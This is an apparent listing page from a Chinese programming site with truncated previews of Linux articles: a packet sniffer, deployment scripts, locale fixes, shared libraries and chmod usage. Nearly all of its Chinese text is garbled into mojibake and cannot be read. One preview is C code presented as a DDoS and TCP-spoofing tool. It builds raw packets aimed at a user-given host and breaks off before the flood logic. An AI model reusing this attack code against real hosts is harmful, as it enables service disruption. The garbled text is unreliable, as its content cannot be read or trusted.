Ò׽ؽØÍ¼Èí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB
ÈÈÃűêÇ©£º c c# c++ asp asp.net linux php jsp java vb Python Ruby mysql sql access Sqlite sqlserver delphi javascript Oracle ajax wap mssql html css flash flex dreamweaver xml
 ×îÐÂÎÄÕ : linux

Linuxϼ¸Àý×¥°ü³ÌÐò´úÂë

×¥°ü³ÌÐò1 grub_allpacket.c
#include <stdio.h>
#include <string.h>
#include <errno.h> 
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h> 
#include <linux/in.h>
#include <linux/if_ether.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <stdlib.h>
int main(int argc, char **argv) {
   int sock, n,i;
   char buffer[2048];
   unsigned char *iphead, *ethhead;
   struct ifreq ethreq;
 
   if ( (sock=socket(PF_PACKET, SOCK_RAW,
                     htons(ETH_P_IP)))<0) {
     perror("socket");
     exit(1);
   }
   /* Set the network card in promiscuos mode */
   strncpy(ethreq.ifr_name,"eth0",IFNAMSIZ);
   if (ioctl(sock,SIOCGIFFLAGS,& ......

LinuxϱàÒëºÍ²¿ÊðJavaWeb³ÌÐò½Å±¾

 LinuxϱàÒëºÍ²¿ÊðJavaWeb³ÌÐò½Å±¾
Ŀ¼½á¹¹ÈçÏ£º
|
|---- YourProject
|             |-------- WebRoot
|             |               |---- WEB-INF
|             |               |           |------- lib
|             |               |           |------- classes
|             |-------- src
|---- lib
|---- compile.sh
|---- deploy.sh
view plaincopy to clipboardprint?
compile ......

linuxÏ¿ØÖÆÌ¨ÖÐÂÒÂë½â¾ö

      ½«ÖÐÎİ汾µÄLINUXÇл»¿ØÖÆÌ¨µ½ÖÕ¶Ëģʽʱºò£¬²¿·ÖÃüÁîºÍ²Ù×÷¹ý³ÌÖÐÏÔʾÂÒÂ룬Ö÷ÒªÊÇÒòΪ°²×°µÄ¹ý³ÌÖÐֻѡÔñÁ˼òÌåÖÐÎĵÄÖ§³Ö£¬ÐèÒªÐÞ¸ÄÅäÖÃÎļþÖеÄÓïÑÔÖ§³ÖÑ¡Ï¼ÓÉÏÓ¢ÎÄÖ§³Ö¼´¿É¡£¾ßÌå²Ù×÷ÈçÏ£º
·½·¨Ò»: ÐÞ¸ÄϵͳÅäÖÃ(½¨Òé)
#vi /etc/sysconfig/i18n
  // ÔÚÎļþÖмÓÈëÒÔÏÂÅäÖÃÏî
  LANG="zh_CN.GB18030"
  LANGUAGE="zh_CN.GB18030:zh_CN.GB2312:zh_CN"
  SUPPORTED="zh_CN.GB18030:zh_CN:zh:en_US.UTF-8:en_US:en"
  SYSFONT="lat0-sun16"
  //ÕâÑùÖÐÎÄÔÚSSH,telnetÖն˾ͿÉÒÔÕý³£ÏÔʾÁË,Ö§³ÖÁËÖÐÎĺÍÓ¢ÎıàÂë
  //ÅäÖÃÔÚ»úÆ÷ÖØÆôºóÉúЧ
·½·¨¶þ:shellÃüÁî
# export LANG£½"GB2312"
 // µ±Ç°×Ö·û¼¯ÅäÖÃÔÚµ±Ç°»á»°ÖÐÁ¢¼´ÉúЧ,
 //  È±ÏÝ: Ö»ÊÊÓõ±Ç°»á»°, µ±¿ªÆôлỰʱÐèÒªÖØÐÂÖ´ÐиÃÃüÁî
·½·¨Èý:ÐÞ¸ÄÓû§¼¶ÅäÖÃÎļþ(root)
#vi ~/.bash_profile
LANG=zh_CN.GB18030
LANGUAGE=zh_CN.GB18030:zh_CN.GB2312:zh_CN
export LANG LANGUAGE ......

linux ¹²Ïí¿â»ù±¾Ê¹ÓãÛת£Ý


linux ¹²Ïí¿â»ù±¾Ê¹ÓÃ[ת]
xzq200 ·¢±íÓÚ 2007-6-16 11:02:00
0
ÍÆ¼ö
1 ´´½¨ºÍʹÓþ²Ì¬¿â
´´½¨Ò»¸ö¾²Ì¬¿âÊÇÏ൱¼òµ¥µÄ¡£Í¨³£Ê¹Óà ar ³ÌÐò°ÑһЩĿ±êÎļþ£¨.o£©×éºÏÔÚÒ»Æð£¬
³ÉΪһ¸öµ¥¶ÀµÄ¿â£¬È»ºóÔËÐÐ ranlib£¬ÒÔ¸ø¿â¼ÓÈëһЩË÷ÒýÐÅÏ¢¡£
2 ´´½¨ºÍʹÓù²Ïí¿â
ÌØÊâµÄ±àÒëºÍÁ¬½ÓÑ¡Ïî
-D_REENTRANT         Ê¹µÃÔ¤´¦ÀíÆ÷·ûºÅ _REENTRANT ±»¶¨Ò壬Õâ¸ö·ûºÅ¼¤»îһЩºêÌØÐÔ¡£
-fPIC                Ñ¡Ïî²úÉúλÖöÀÁ¢µÄ´úÂë¡£ÓÉÓÚ¿âÊÇÔÚÔËÐеÄʱºò±»µ÷È룬Òò´ËÕâ¸ö
                     Ñ¡ÏîÊDZØÐèµÄ£¬ÒòΪÔÚ±àÒëµÄʱºò£¬×°ÈëÄÚ´æµÄµØÖ·»¹²»ÖªµÀ¡£Èç¹û
                     ²»Ê¹ÓÃÕâ¸öÑ¡Ï¿âÎļþ¿ÉÄܲ»»áÕýÈ·ÔËÐС£
-shared              Ñ¡Ïî¸æËß±àÒëÆ÷²úÉú¹²Ïí¿â´úÂë¡£
-Wl,-soname          -Wl ¸æËß±àÒëÆ÷½«ºóÃæµÄ²ÎÊý´«µÝµ½Á¬½ÓÆ ......

Linux/Ubuntu chmodÃüÁîÏê½âʹÓøñʽºÍ·½·¨


ÔÚ Ubuntu Linux ÖÐÓÃÔ´ÂëÎļþ°²×°Èí¼þʱ¾­³£¶¼»áÓõ½chmodÃüÁîÀ´¸ü¸ÄÎļþµÄȨÏÞʹÆäÔÚ°²×°Ê±ÓÐÖ´ÐеÄȨÏÞ¡£ÓÉÓÚ Ubuntu Linux ĬÈϲ»ÄÜÓÃrootÕË»§À´µÇ¼ËùÒÔÔÚÓÃchmodÃüÁîÀ´¸ü¸ÄÎļþµÄȨÏÞʱÍùÍùÐèÒª½áºÏsudoÃüÁîÀ´Ê¹Óã¬Èç¹ûÄã¶ÔsudoÃüÁ²»Ì«Á˽⣬ÇëÏÈ¿´¿´±¾Õ¾µÄ¡¶sudoÃüÁîÏê½â¡·
chmod
Linux/Ubuntu ϵͳÖÐÎļþµ÷ÓõÄȨÏÞ·ÖΪÈý¼¶:ÎļþÓµÓÐÕß(u)¡¢Èº×é(g)¡¢ÆäËû(o)¡£ÓÃchmod¾Í¿ÉÒÔ¸ü¸ÄÎļþµÄȨÏÞ¡£chmodÊÇÒ»¸öÏ൱Áé»îµÄÃüÁ¶Ôͬһ¸öÎļþµÄȨÏÞµÄÐ޸ĿÉÒÔÓöàÖÖ·ç¸ñµÄÃüÁî¸ñʽÀ´ÊµÏÖ¡£
·½Ê½Ò»£º
Óï·¨¸ñʽ£º chmod [-vR] mode ÎļþÃû
²ÎÊý˵Ã÷:
mode ȨÏÞÉèÖÃ×Ö´®,¸ñʽΪ[ugoa] [+-=] [rwx]
u ±íʾÎļþµÄÓµÓÐÕß
g ±íʾÓë´ËÎļþÓµÓÐÕßÊôÓÚÒ»¸ö×éȺµÄÈË
o ±íʾÆäËûÈË
a ±íʾ°üº¬ÒÔÉÏÈýÕß¼´ÎļþÓµÓÐÕß(u)¡¢Èº×é(g)¡¢ÆäËû(o)
+ ±íʾÔö¼ÓȨÏÞ
- ±íʾȡÏûȨÏÞ
= ±íʾΨһÉèÖÃȨÏÞ
r ±íʾÓжÁÈ¡µÄȨÏÞ
w ±íʾÓÐдÈëµÄȨÏÞ
x ±íʾÓÐÖ´ÐеÄȨÏÞ
-v ÏÔʾȨÏ޸ıäµÄÏêϸ×ÊÁÏ
-R ±íʾ¶Ôµ±Ç°Ä¿Â¼ÏµÄËùÓÐÎļþºÍ×ÓĿ¼½øÐÐÏàͬµÄȨÏÞ¸ü¸Ä
Àý£º
ÎÒÃÇÒª½«µ±Ç°Ä¿Â¼ÏÂownlinuxÕâ¸öÎļþµÄȨÏÞÐÞΪËùÓÐÓû§ÓµÓиÃÎļþµÄ¶ÁÈ¡¡¢Ð´Èë¡¢Ö´ÐеÄȨÏÞ¡£ÔÚÕâÀï¾ÍÐèÒª½áºÏsud ......

LinuxÏÂÍøÂç¹¥»÷DDosµÄʵÏÖ´úÂ룬tcpÊý¾ÝÆÛÆ­µÄʵÏÖ

/*
×¢Ò⣺
Õâ´ÎÖ÷Òª¸ÄÁ˺¯Êýsend_tcpÀïµÄ´úÂ룬¾ÉµÄ´úÂëÔÚÌî³äip°üʱÓÐÎÊÌâ¡£
*/
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
#include <netdb.h>
#define SRCPORT 1234
#define DSTPORT 80
struct prseuheader
{
unsigned long s_addr;
unsigned long d_addr;
unsigned char zero;
unsigned char prototp;
unsigned short len;
};
void send_tcp(int sockfd, struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr, int len);
int main(int argc, char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on = 1;
if (argc != 2) {
fprintf(stderr, "Usage:%s hostname\n\a", argv[0]);
exit(1);
}
bzero(&addr, sizeof(struct sockaddr_in));
addr.sin_family = AF_INET;
addr.sin_port = htons(SRCPORT);
if (inet_aton(argv[1], &addr.sin_addr) == 0) {
host = geth ......
×ܼǼÊý:5772; ×ÜÒ³Êý:962; ÿҳ6 Ìõ; Ê×Ò³ ÉÏÒ»Ò³ [723] [724] [725] [726] 727 [728] [729] [730] [731] [732]  ÏÂÒ»Ò³ βҳ
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØÍ¼ | ¸ÓICP±¸09004571ºÅ